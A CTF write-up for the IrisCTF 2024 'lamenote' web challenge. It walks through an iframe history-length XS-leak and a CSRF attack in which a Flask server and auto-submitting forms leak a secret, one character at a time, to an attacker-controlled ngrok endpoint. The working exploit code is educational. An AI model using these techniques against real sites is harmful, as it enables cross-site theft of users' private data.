written by hartmannsyg
This was one of the web challenges in IrisCTF 2024, I spent quite a while trying it during the CTF (I was unsuccessful) and also spent quite some time understanding it after the CTF. Thanks to everyone who helped answer my (many) questions in the IrisCTF discord lol.
Also tomato said “If you are done understanding it can you make a writeup for it” so here we are.
The challenge is as follows:
- submit a URL
- admin bot will create a note with a flag in it at https://lamenote-web.chal.irisc.tf/
- it will then visit your url, and your website has to steal the flag, somehow
The site also has a search functionality, and if there is only one note, it will directly display the note. If there are none it simply says “No notes”. Otherwise, it will simply give you a list. When the site is directly displaying the note (as there is only one note that fits the query), an image will be requested. This differentiation is quite important for the solution.
We also know that the flag matches irisctf{[a-z_]+}
so our charlist is only _abcdefgihkjlmnopqrstuvwxyz
“Intended Solution” by sera
sera has given us the solve html:
1 |
|
I really did not understand what was going on here so I’ll unpack what I’ve known:
using img-src 'none'
to create a navigation binary
1 | <html> <body> <script> (async function(){ async function go(url) { f = document.createElement('iframe') f.setAttribute('sandbox', 'allow-same-origin'); |
(we wrap everything in (async function(){ ... })()
to run the code asynchronously)
The go(url)
function creates an iframe and goes to the specified url. However, due to the specified csp of img-src 'none'
, it is unable to navigate to the page. This is because the page’s csp is weaker than the iframe’s csp, so the site is unable to render
So the idea now is that we can guess character by character, and when it fails we know it is the correct one:
/search?query=irisctf{a ✅ Navigation Successful /search?query=irisctf{b ✅ Navigation Successful /search?query=irisctf{c ✅ Navigation Successful ... /search?query=irisctf{p ❌ Navigation Unsuccessful, note with 'irisctf{p' exists /search?query=irisctf{pa ✅ Navigation Successful /search?query=irisctf{pb ✅ Navigation Successful /search?query=irisctf{pc ✅ Navigation Successful ... /search?query=irisctf{pl ❌ Navigation Unsuccessful, note with 'irisctf{pl' exists |
xs-leak via navigation
(xs-leak stands for Cross-site leak)
Here is a relevant page regarding this exploit.
We have a method for finding the flag, as long as we can tell the difference between a successful navigation and an unsuccessful one.
In the navigation xs-leak, we see that we can deduce whether or no the navigation is successful by looking at the iframe’s history via contentWindow.history.length;
. However, this only works when the src
is the origin (i.e. http://0.tcp.ap.ngrok.io:11568/
, which is there our site is hosted), so we redirect the iframe back to our site:
1 | <html> <body> <script> (async function(){ async function go(body) { let url = "https://lamenote-web.chal.irisc.tf/search?query=irisctf{" + body f = document.createElement('iframe') f.setAttribute('sandbox', 'allow-same-origin'); f.setAttribute('csp', "img-src 'none';") f.src = url; // go to the site document.body.appendChild(f) |
However, regardless of whether it errors or not, the history only increments one at a time:
! history=13 a history=14 b history=15 c history=16 ... y history=38 z history=39 |
Apparently, the solution to this is to run the iframe twice, like so:
1 | <html> <body> <script> (async function(){ async function go(body) { let url = "https://lamenote-web.chal.irisc.tf/search?query=irisctf{" + body f = document.createElement('iframe') f.setAttribute('sandbox', 'allow-same-origin'); f.setAttribute('csp', "img-src 'none';") f.src = url; // go to the site |
! history=3
a history=5
b history=7
c history=9
d history=10 (history length only increased once = navigation failed = flag starts with d) |
With this, we can basically test for the flag now, but there is one additional improvement that sera’s solve script used, which is to remove and then re-add the iframe to the document
1 | <html> <body> <script> (async function(){ async function go(body) { let url = "https://lamenote-web.chal.irisc.tf/search?query=irisctf{" + body f = document.createElement('iframe') f.setAttribute('sandbox', 'allow-same-origin'); f.setAttribute('csp', "img-src 'none';") f.src = url; // go to the site f.onload = () => { rCount += 1; // change location after onload once setTimeout(() => { f.onload = null f.src = url; }, 100) } document.body.appendChild(f) await new Promise(r => setTimeout(r, 1000)); // sleep 1000ms to wait for it to load |
What this does is that the history.length
does not increment unless there is an error. Once again I’m not exactly sure why this happens
! history=3
a history=3
b history=3
c history=3
d history=4 (history length increased = navigation failed = flag starts with d) |
Trixter’s Solution (CSRF)
from flask import Flask, request import sys app = Flask(__name__) flag_prefix = 'irisctf{' chars = set('abcdefghijklmnopqrstuvwxyz_}') ngrok_url = 'https://[...]' reset_called = False def index(): return (""" <!DOCTYPE html> <html> <head> </head> <body> <script> const target = 'https://lamenote-web.chal.irisc.tf'; function createNote(title, text, image) { const iframe = document.createElement("iframe"); iframe.setAttribute("srcdoc", ` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="${target}/create" method="POST"> <input type="hidden" name="title" value="${title}" /> <input type="hidden" name="text" value="${text}" /> <input type="hidden" name="image" value="${image}" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); <\/script> </body> </html> `); document.body.appendChild(iframe); } function searchNote(search) { const iframe = document.createElement("iframe"); iframe.setAttribute("src", `${target}/search?query=${encodeURIComponent(search)}`); document.body.appendChild(iframe); } const prefix = '%s'; const charset = 'abcdefghijklmnopqrstuvwxyz_}'; const remote = '%s'; for(const char of charset) createNote('trixter', prefix + char, `${remote}/leak?char=` + char); setTimeout(() => { const iframe = document.createElement("iframe"); iframe.setAttribute("src", `${remote}/reset`); iframe.onload = () => { for(const char of charset) searchNote(prefix + char); }; document.body.appendChild(iframe); }, 2000); </script> </body> </html> """ % (flag_prefix, ngrok_url)).strip() def reset(): global reset_called reset_called = True return "reset triggered" def leak(): global reset_called, chars, flag_prefix if request.method == "OPTIONS" and reset_called: char = request.args.get("char", "") if char in chars: print('Flag does not have %s' % char) chars.remove(char) if len(chars) == 1: flag_prefix += list(chars).pop() print('Flag Prefix:', flag_prefix) reset_called = False chars = set('abcdefghijklmnopqrstuvwxyz_') return "" |
What this does is more “straightforward”(?):
- create an iframe for each possible character
- each iframe creates a note with the image being our
/leak?char=
url and the contents being:irisctf{a irisctf{b irisctf{c irisctf{d ...
- we then query all of them. If the character is wrong, there will only be one note displayed, and it will attempt to fetch our
/leak?char=
url as an image. However, if the character is correct, there will be 2 results: the actual flag note and the one we injected. This means our/leak?char=
url will not be fetched/search?query=irisctf{a ✅ /leak?char=a /search?query=irisctf{b ✅ /leak?char=b /search?query=irisctf{c ✅ /leak?char=c ... /search?query=irisctf{p ❌ no /leak?char=p, another note with 'irisctf{p' exists, this is the correct one /search?query=irisctf{pa ✅ /leak?char=a /search?query=irisctf{pb ✅ /leak?char=b /search?query=irisctf{pc ✅ /leak?char=c ... /search?query=irisctf{pl ❌ no /leak?char=l, another note with 'irisctf{pl' exists, this is the correct one